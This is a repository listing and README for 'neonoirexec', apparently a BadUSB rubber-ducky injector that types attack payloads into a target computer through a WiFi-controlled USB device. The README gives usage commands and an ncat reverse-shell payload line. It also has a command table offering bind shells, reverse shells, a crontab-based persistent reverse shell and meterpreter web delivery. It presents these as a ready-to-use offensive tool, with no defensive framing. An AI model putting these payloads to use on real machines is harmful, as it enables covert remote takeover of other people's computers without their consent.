https://github.com/byt3n33dl3/neonoirexec
Release Neo the Evil Ducky, A scripts into any Hardware or drive Devices.
https://github.com/byt3n33dl3/neonoirexec
bad-usb rubber-ducky scripts straightforward trust-attack
Last synced: over 1 year ago
JSON representation
Release Neo the Evil Ducky, A scripts into any Hardware or drive Devices.
- Host: GitHub
- URL: https://github.com/byt3n33dl3/neonoirexec
- Owner: byt3n33dl3
- License: lgpl-3.0
- Created: 2024-02-17T06:42:03.000Z (over 2 years ago)
- Default Branch: main
- Last Pushed: 2024-07-11T12:19:20.000Z (about 2 years ago)
- Last Synced: 2025-04-06T02:48:49.965Z (over 1 year ago)
- Topics: bad-usb, rubber-ducky, scripts, straightforward, trust-attack
- Language: C
- Homepage:
- Size: 21.4 MB
- Stars: 13
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
**Warning** : Newest version of Neo Toolkit expect the Neo to have a firmware in the prefered language, alternatively you can force the french keyboard with the english firmware using the `--force` arguments. For more customization informations go to swisskyrepo.github.io .
Where to buy a Neo injector ? I got mine from [Aliexpress](https://www.aliexpress.com/item/Cactus-Micro-compatible-board-plus-WIFI-chip-esp8266-for-atmega32u4/32318391529.html)
## How to use the script
```c
python3 injector.py -v --host 127.0.0.1 --port 4242 --payload payloads / windows.txt -h
usage: injector.py [-h] [-v] [--host [HOST]] [--port [PORT]]
[--user [USER]] [--pass [PASS]] [--panel [PANEL]]
[--payload [PAYLOAD]]
optional arguments:
-h, --help show this help message and exit
-v Verbosity of the output
--host [HOST] Host reverse-shell
--port [PORT] Port reverse-shell
--user [USER] Wifi Panel username
--pass [PASS] Wifi Panel password
--panel [PANEL] Wifi Panel password
--payload [PAYLOAD] Payload template
```
Targeting a Windows OS
```c
python3 injector.py -v --host 127.0.0.1 --port 4242 --payload payloads/windows.txt
```
Send a simple reverse-shell payload
```
$ python3 injector.py -v --host 127.0.0.1 --port 4444
-------------------------------------------------------------
Neo injector - You need to be connected to the Exploit AP
-------------------------------------------------------------
__ °
<(o )___
( ._> /
`---' @pxcs
Enter a payload, eg: bash -c 'nohup ncat 127.0.0.1 4242 -e $SHELL &'
-------------------------------------------------------------------
>>> reverse
Payload:
Rem:Default Payload
Press:130+195
CustomDelay:1000
Print: bash SHELL:14
CustomDelay:1000
Press:176
Sending payload to http://192.168.1.1/runlivepayload
```
## Payloads and commands
| Commands | Description |
| :------------- | :------------- |
| bind | initiate a bind shell on results.port |
| reverse | initiate a reverse shell on results.host and results.port |
| crontab | set up a crontab reverse shell on results.host and results.port |
| meterpreter | use exploit script / web delivery with a posh-payload |
| send some text | send the specified text |
| h | help |
| q | quit |
You can change the options with `SET option_name option_value`
```c
>>> set host 127.0.0.1
>>> set port 4444
```
Thanks to:
- swisskyrepo
- metasploit
- pxcs